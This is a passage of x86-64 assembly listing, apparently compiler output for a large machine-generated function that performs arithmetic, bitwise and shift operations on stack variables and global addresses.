mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11a]
sub eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xc850]
mov eax, dword [rax]
mov dword [rsp + 0x6cb0], eax
mov rax, qword [rsp + 0xcf30]
mov rcx, qword [rsp + 0xd680]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd2c0], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xd750], rax
mov rax, qword [rsp + 0xc138]
mov ecx, dword [rsp + 0x6ae0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbdb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd248]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c7500], ax
movsx eax, byte [0x1402c74bf]
mov rcx, qword [rsp + 0xc1a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x81], al
lea rax, [rsp + 0x1720]
mov qword [rsp + 0xd758], rax
movzx eax, byte [rsp + 0x102]
movzx ecx, byte [0x1402c74b7]
sub eax, ecx
mov byte [rsp + 0x91], al
lea rax, [rsp + 0xec]
mov qword [rsp + 0xd760], rax
mov rax, qword [rsp + 0xcbb8]
mov rcx, qword [rsp + 0xc1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbdf0], rax
mov rax, qword [rsp + 0xc718]
mov rcx, qword [rsp + 0xbfb8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc200]
mov qword [rcx], rax
mov eax, dword [rsp + 0x69bc]
mov dword [rsp + 0x6cb4], eax
mov rax, qword [rsp + 0xc738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6af8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd300]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1698]
mov rcx, qword [rsp + 0xd008]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402c7550], ax
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x126], al
movzx eax, word [rsp + 0x1860]
movzx ecx, word [rsp + 0x1678]
xor eax, ecx
mov word [rsp + 0x1574], ax
lea rax, [rsp + 0x157c]
mov qword [rsp + 0xd768], rax
mov rax, qword [0x1402c93a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc4e0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc7e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcc70]
mov rcx, qword [rsp + 0xbe00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbe50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf38]
mov eax, dword [rax]
mov dword [rsp + 0x6cb8], eax
mov rax, qword [rsp + 0xd598]
mov rcx, qword [rsp + 0xc6a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc930], rax
mov eax, dword [rsp + 0x6978]
mov dword [rsp + 0x6cbc], eax
movsx eax, word [rsp + 0x15d8]
movsx ecx, word [rsp + 0x15e4]
and eax, ecx
mov word [0x1402c91d8], ax
movsx eax, byte [rsp + 0x7f]
movsx ecx, byte [rsp + 0xed]
sub eax, ecx
mov byte [rsp + 0x97], al
movzx eax, word [rsp + 0x1764]
mov rcx, qword [rsp + 0xcfa0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcb18]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdd]
mov byte [rsp + 0x127], al
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0xcdd8]
mov byte [rcx], al
lea rax, [rsp + 0xc900]
mov qword [rsp + 0xd770], rax
mov rax, qword [rsp + 0xc180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6990]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd130]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd2e8]
mov rcx, qword [rsp + 0xbd60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfd0], rax
mov rax, qword [rsp + 0xce98]
mov eax, dword [rax]
mov dword [rsp + 0x6cc0], eax
mov rax, qword [rsp + 0xc0d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbbc0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9420]
mov word [rcx], ax
movzx eax, byte [rsp + 0xad]
movzx ecx, byte [rsp + 0x103]
add eax, ecx
mov byte [rsp + 0x54], al
lea rax, [rsp + 0x17fc]
mov qword [rsp + 0xd778], rax
movsx eax, byte [0x1402c90b5]
mov rcx, qword [rsp + 0xd670]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc610]
mov byte [rcx], al
movsx eax, word [rsp + 0x15c0]
mov rcx, qword [rsp + 0xc088]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x17a4], ax
mov rax, qword [rsp + 0xbe50]
mov rax, qword [rax]
mov qword [rsp + 0xd780], rax
mov eax, dword [rsp + 0x6b2c]
movzx ecx, al
mov eax, dword [rsp + 0x69a4]
shl eax, cl
mov dword [rsp + 0x69bc], eax
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov qword [rsp + 0xd788], rax
mov eax, dword [rsp + 0x69b8]
mov rcx, qword [rsp + 0xc3e8]
mov qword [rsp + 0xd790], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd790]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xbab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
mov word [0x1402c9450], ax
movzx eax, byte [rsp + 0x122]
mov byte [rsp + 0x128], al
movzx eax, byte [rsp + 0x125]
movzx ecx, byte [rsp + 0x83]
or eax, ecx
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd6], al
lea rax, [rsp + 0x115]
mov qword [rsp + 0xd798], rax
mov rax, qword [rsp + 0xc650]
mov rcx, qword [rsp + 0xc460]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbf60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcc80]
mov rax, qword [rax]
mov qword [rsp + 0xd7a0], rax
mov rax, qword [rsp + 0xc830]
mov rcx, qword [rsp + 0xd0f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc2f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b7c]
mov ecx, dword [rsp + 0x6c68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69b8], eax
movzx eax, word [0x1402c9168]
mov rcx, qword [rsp + 0xd660]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9200]
mov word [rcx], ax
lea rax, [rsp + 0xa7]
mov qword [rsp + 0xd7a8], rax
mov rax, qword [rsp + 0xcb30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1774]
sub eax, ecx
mov word [rsp + 0x1724], ax
mov rax, qword [rsp + 0xcec0]
movzx eax, word [rax]
mov word [rsp + 0x18d4], ax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcaa0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0xcda8]
mov rcx, qword [rsp + 0xd340]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd6a8]
mov dword [rcx], eax
lea rax, [rsp + 0xbdc8]
mov qword [rsp + 0xd7b0], rax
mov rax, qword [rsp + 0xc028]
mov rcx, qword [rsp + 0xc0a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc7a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6b5c]
mov dword [rsp + 0x6cc4], eax
movsx eax, word [0x1402c7524]
mov rcx, qword [rsp + 0xc088]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1402c7554], ax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov byte [rcx], al
movzx eax, word [rsp + 0x189c]
mov word [rsp + 0x18d8], ax
mov rax, qword [0x1402c90f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd038]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1668], ax
mov rax, qword [rsp + 0xd3b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10f]
sar eax, cl
mov rcx, qword [rsp + 0xcb88]
mov byte [rcx], al
lea rax, [rsp + 0x6c28]
mov qword [rsp + 0xd7b8], rax
mov rax, qword [rsp + 0xbbf8]
mov rcx, qword [rsp + 0xd720]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x68ec], eax
lea rax, [rsp + 0xbbf0]
mov qword [rsp + 0xd7c0], rax
mov rax, qword [rsp + 0xd030]
mov rcx, qword [rsp + 0xd280]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8c0], rax
mov rax, qword [rsp + 0xc1a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd760]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x88], al
movzx eax, word [rsp + 0x15dc]
movzx ecx, word [rsp + 0x187c]
add eax, ecx
mov word [0x1402c7558], ax
mov rax, qword [0x1402c9398]
movzx eax, word [rax]
mov word [rsp + 0x18dc], ax
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0xc050]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc190]
mov byte [rcx], al
mov rax, qword [rsp + 0xbca0]
movzx eax, word [rax]
mov word [rsp + 0x18e0], ax
mov rax, qword [rsp + 0xc960]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cbc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6be0], eax
mov rax, qword [rsp + 0xcd38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc168], rax
lea rax, [rsp + 0x6b64]
mov qword [rsp + 0xd7c8], rax
mov rax, qword [rsp + 0xcd90]
mov rcx, qword [rsp + 0xcd40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbf00]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xf2]
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0xcec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe2]
sub eax, ecx
mov byte [0x1402c74d7], al
movsx eax, word [rsp + 0x17f8]
mov rcx, qword [rsp + 0xc578]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18b8], ax
movzx eax, word [rsp + 0x1878]
mov rcx, qword [rsp + 0xbfd0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1584], ax
lea rax, [rsp + 0xd4]
mov qword [rsp + 0xd7d0], rax
mov rax, qword [rsp + 0xcb60]
mov ecx, dword [rsp + 0x69cc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6a7c], eax
lea rax, [rsp + 0x68d4]
mov qword [rsp + 0xd7d8], rax
mov rax, qword [rsp + 0xced8]
movzx ecx, al
mov rax, qword [rsp + 0xc0e8]
shl rax, cl
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
lea rax, [0x1402c7490]
mov qword [rsp + 0xd7e0], rax
movsx eax, byte [rsp + 0x117]
movsx ecx, byte [rsp + 0x52]
sar eax, cl
mov rcx, qword [rsp + 0xbdf8]
mov byte [rcx], al
movzx eax, word [rsp + 0x16c4]
mov word [0x1402c9454], ax
movzx eax, word [rsp + 0x15dc]
mov rcx, qword [0x1402c92f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x166c], ax
lea rax, [rsp + 0x6b]
mov qword [rsp + 0xd7e8], rax
mov rax, qword [rsp + 0xc5b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb4]
and eax, ecx
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
mov dword [rsp + 0x6cc8], eax
mov rax, qword [rsp + 0xd270]
mov rcx, qword [rsp + 0xbfc8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc278], rax
mov rax, qword [rsp + 0xd6e0]
mov rcx, qword [rsp + 0xc348]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6ac0]
mov dword [rsp + 0x6ccc], eax
movsx eax, word [rsp + 0x1794]
movsx ecx, word [rsp + 0x1590]
add eax, ecx
mov word [rsp + 0x15cc], ax
mov rax, qword [rsp + 0xbf88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc378]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7510], ax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0xd7f0], rax
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x110]
sub eax, ecx
mov rcx, qword [rsp + 0xbb78]
mov byte [rcx], al
movsx eax, word [rsp + 0x1568]
movsx ecx, word [rsp + 0x15d8]
and eax, ecx
mov word [rsp + 0x1720], ax
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0xd460]
mov ecx, dword [rsp + 0x6a18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6bc4], eax
mov rax, qword [rsp + 0xc338]
mov eax, dword [rax]
mov dword [rsp + 0x6cd0], eax
mov rax, qword [rsp + 0xcc80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc278], rax
mov rax, qword [rsp + 0xc5c0]
mov rcx, qword [rsp + 0xca28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc500], rax
movzx eax, word [rsp + 0x1834]
movzx ecx, word [rsp + 0x1784]
xor eax, ecx
mov word [0x1402c755c], ax
movzx eax, word [rsp + 0x17f4]
mov word [rsp + 0x18e4], ax
mov rax, qword [rsp + 0xc158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbef8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xc9], al
movzx eax, word [rsp + 0x1898]
mov word [rsp + 0x18e8], ax
mov rax, qword [0x1402c9268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcef0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd268]
mov word [rcx], ax
lea rax, [rsp + 0xc240]
mov qword [rsp + 0xd7f8], rax
mov eax, dword [rsp + 0x6be4]
mov rcx, qword [rsp + 0xbad0]
mov qword [rsp + 0xd800], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd800]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6aa8], eax
mov rax, qword [rsp + 0xd188]
mov rcx, qword [rsp + 0xc540]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6c7c], eax
lea rax, [rsp + 0xc538]
mov qword [rsp + 0xd808], rax
movsx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0xbd70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c74d2], al
movsx eax, word [0x1402c74fc]
movsx ecx, word [rsp + 0x1694]
add eax, ecx
mov word [rsp + 0x1544], ax
movzx eax, word [rsp + 0x18d4]
mov word [rsp + 0x18ec], ax
mov rax, qword [rsp + 0xbd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcb90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbed8]
mov byte [rcx], al
movzx eax, byte [0x1402c74ce]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10d], al
mov rax, qword [rsp + 0xd1a0]
mov qword [rsp + 0xd810], rax
mov rax, qword [rsp + 0xc268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd6b0]
mov dword [rcx], eax
lea rax, [rsp + 0x68fc]
mov qword [rsp + 0xd818], rax
mov rax, qword [rsp + 0xcd68]
mov rcx, qword [rsp + 0xc4d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcbb8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xf2]
mov rcx, qword [rsp + 0xc470]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9380]
mov byte [rcx], al
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0xbfc0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
mov byte [rsp + 0x12b], al
movsx eax, word [rsp + 0x157c]
movsx ecx, word [0x1402c74ec]
add eax, ecx
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov word [rsp + 0x18f0], ax
mov rax, qword [rsp + 0xcc58]
movzx ecx, al
mov rax, qword [rsp + 0xc390]
shl rax, cl
mov qword [rsp + 0xd480], rax
mov eax, dword [rsp + 0x6b44]
mov dword [rsp + 0x6cd4], eax
mov rax, qword [rsp + 0xbd20]
mov rcx, qword [rsp + 0xd1b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0c8], rax
mov rax, qword [rsp + 0xc268]
mov ecx, dword [rsp + 0x696c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6aa4], eax
movzx eax, byte [rsp + 0x111]
movzx ecx, byte [rsp + 0xb0]
sar eax, cl
mov byte [0x1402c74ee], al
lea rax, [rsp + 0x86]
mov qword [rsp + 0xd820], rax
mov rax, qword [rsp + 0xc478]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd5a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcb18]
mov word [rcx], ax
mov rax, qword [0x1402c90e0]
movzx eax, word [rax]
mov word [rsp + 0x18f4], ax
mov rax, qword [rsp + 0xd670]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbed8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc458]
mov byte [rcx], al
mov rax, qword [rsp + 0xbe08]
mov rcx, qword [rsp + 0xc6e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcc70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd5f8]
mov eax, dword [rax]
mov dword [rsp + 0x6cd8], eax
mov rax, qword [rsp + 0xd3f0]
mov ecx, dword [rsp + 0x6c2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ad4], eax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov qword [rsp + 0xd828], rax
movzx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0xd298]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c9428]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x18b0]
sub eax, ecx
mov word [rsp + 0x1630], ax
mov rax, qword [rsp + 0xc520]
movzx eax, word [rax]
mov rcx, qword [0x1402c9340]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x173c], ax
lea rax, [rsp + 0x1654]
mov qword [rsp + 0xd830], rax
movzx eax, byte [rsp + 0xa5]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0xcbb0]
mov eax, dword [rax]
mov dword [rsp + 0x6cdc], eax
mov rax, qword [rsp + 0xd678]
mov ecx, dword [rsp + 0x6918]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd2f8]
mov rcx, qword [rsp + 0xcf68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc750], rax
lea rax, [rsp + 0xc858]
mov qword [rsp + 0xd838], rax
lea rax, [0x1402c74de]
mov qword [0x1402c9458], rax
movzx eax, byte [rsp + 0x6d]
mov rcx, qword [rsp + 0xbfc0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xf0], al
lea rax, [rsp + 0x17bc]
mov qword [rsp + 0xd840], rax
mov rax, qword [rsp + 0xc758]
movsx eax, word [rax]
mov rcx, qword [0x1402c9398]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc970]
mov word [rcx], ax
movzx eax, word [rsp + 0x16d4]
mov word [rsp + 0x18f8], ax
mov rax, qword [rsp + 0xbcf8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc9a8]
shl rax, cl
mov qword [rsp + 0xccb8], rax
mov rax, qword [rsp + 0xd0c0]
mov ecx, dword [rsp + 0x6b0c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6980], eax
mov rax, qword [rsp + 0xd730]
mov qword [rsp + 0xd848], rax
mov rax, qword [rsp + 0xbdd8]
mov ecx, dword [rsp + 0x6bb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b6c], eax
lea rax, [0x1402c9388]
mov qword [0x1402c9460], rax
mov rax, qword [rsp + 0xc908]
movzx eax, byte [rax]
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0xcfa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov rcx, qword [rsp + 0xcbf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x18e0]
movsx ecx, word [rsp + 0x1598]
and eax, ecx
mov word [rsp + 0x1728], ax
lea rax, [rsp + 0xc9]
mov qword [rsp + 0xd850], rax
mov rax, qword [rsp + 0xd6a0]
mov rcx, qword [rsp + 0xce58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0d8], rax
mov rax, qword [rsp + 0xc8f0]
mov eax, dword [rax]
mov dword [rsp + 0x6ce0], eax
mov rax, qword [rsp + 0xce08]
mov rcx, qword [rsp + 0xc6a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xce30]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c70]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe40]
mov dword [rcx], eax
mov rax, qword [0x1402c93b0]
movzx eax, word [rax]
mov word [rsp + 0x18fc], ax
movzx eax, word [rsp + 0x1680]
movzx ecx, word [rsp + 0x18d8]
sub eax, ecx
mov rcx, qword [0x1402c9178]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xce], al
lea rax, [0x1402c74a3]
mov qword [rsp + 0xd858], rax
movsx eax, byte [rsp + 0x88]
movsx ecx, byte [rsp + 0x7f]
add eax, ecx
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x6a90]
mov dword [rsp + 0x6ce4], eax
mov rax, qword [rsp + 0xd5e8]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6998], eax
mov rax, qword [rsp + 0xd770]
mov rcx, qword [rsp + 0xd6e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbd00], rax
mov rax, qword [rsp + 0xcab8]
mov qword [rsp + 0xd860], rax
mov rax, qword [rsp + 0xc098]
movzx eax, word [rax]
movzx ecx, word [0x1402c7510]
or eax, ecx
mov word [rsp + 0x1660], ax
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
mov byte [0x1402c90db], al
lea rax, [rsp + 0x1654]
mov qword [rsp + 0xd868], rax
movsx eax, byte [rsp + 0xbe]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x9c], al
movzx eax, word [rsp + 0x175c]
mov rcx, qword [rsp + 0xc560]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xcec0]
mov word [rcx], ax
mov eax, dword [rsp + 0x6a60]
mov dword [rsp + 0x6ce8], eax
mov eax, dword [rsp + 0x6ccc]
movzx ecx, al
mov eax, dword [rsp + 0x6ca0]
shl eax, cl
mov rcx, qword [rsp + 0xd7c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd838]
mov rax, qword [rax]
mov qword [rsp + 0xd870], rax
mov rax, qword [rsp + 0xcde0]
mov rcx, qword [rsp + 0xc9f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xba08], rax
movsx eax, word [rsp + 0x16f8]
mov rcx, qword [rsp + 0xc8a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17b4], ax
mov rax, qword [rsp + 0xc8c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1588]
add eax, ecx
mov word [0x1402c74e0], ax
movzx eax, byte [rsp + 0xdb]
mov byte [rsp + 0x12d], al
mov rax, qword [rsp + 0xc0f8]
movzx eax, byte [rax]
mov rcx, qword [0x1402c92f8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc928]
mov byte [rcx], al
mov rax, qword [rsp + 0xca70]
movzx eax, byte [rax]
mov byte [rsp + 0x12e], al
mov rax, qword [rsp + 0xc7c8]
mov rcx, qword [rsp + 0xcc70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc720]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd6a8]
mov ecx, dword [rsp + 0x6c90]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd188]
mov dword [rcx], eax
lea rax, [rsp + 0xc1b0]
mov qword [rsp + 0xd878], rax
mov rax, qword [rsp + 0xc380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b54], eax
mov rax, qword [rsp + 0xc1c0]
movzx eax, byte [rax]
mov byte [rsp + 0x12f], al
movsx eax, word [rsp + 0x17dc]
movsx ecx, word [rsp + 0x17d4]
add eax, ecx
mov rcx, qword [0x1402c90c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcd58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x177c]
sub eax, ecx
mov rcx, qword [rsp + 0xd2b0]
mov word [rcx], ax
mov rax, qword [0x1402c9390]
movzx eax, word [rax]
mov word [rsp + 0x1900], ax
movzx eax, byte [rsp + 0xd4]
movzx ecx, byte [rsp + 0x9e]
sar eax, cl
mov rcx, qword [rsp + 0xc320]
mov byte [rcx], al
mov rax, qword [rsp + 0xc230]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15f4]
xor eax, ecx
mov word [rsp + 0x1830], ax
mov rax, qword [rsp + 0xd628]
mov eax, dword [rax]
mov dword [rsp + 0x6cec], eax
mov rax, qword [rsp + 0xc0c0]
mov rcx, qword [rsp + 0xc330]
mov qword [rsp + 0xd880], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd880]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd330]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd270]
mov rax, qword [rax]
mov qword [rsp + 0xd888], rax
mov rax, qword [rsp + 0xbc98]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6aac], eax
mov rax, qword [rsp + 0xbd90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402c7560], ax
movsx eax, byte [rsp + 0xdc]
movsx ecx, byte [rsp + 0x80]
add eax, ecx
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
lea rax, [rsp + 0xaa]
mov qword [rsp + 0xd890], rax
movsx eax, word [rsp + 0x15e4]
movsx ecx, word [rsp + 0x183c]
sub eax, ecx
mov word [rsp + 0x18e0], ax
lea rax, [rsp + 0xc7]
mov qword [rsp + 0xd898], rax
mov rax, qword [rsp + 0xc750]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf58], rax
mov rax, qword [rsp + 0xd5c8]
mov rcx, qword [rsp + 0xd188]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc588]
mov dword [rcx], eax
lea rax, [rsp + 0x6b78]
mov qword [rsp + 0xd8a0], rax
mov rax, qword [rsp + 0xc5f8]
mov rcx, qword [rsp + 0xc448]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc788], rax
mov rax, qword [rsp + 0xc928]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [0x1402c9160]
mov byte [rcx], al
mov rax, qword [rsp + 0xc7e0]
movzx eax, word [rax]
mov word [rsp + 0x1904], ax
movsx eax, word [0x1402c9418]
movsx ecx, word [rsp + 0x1758]
add eax, ecx
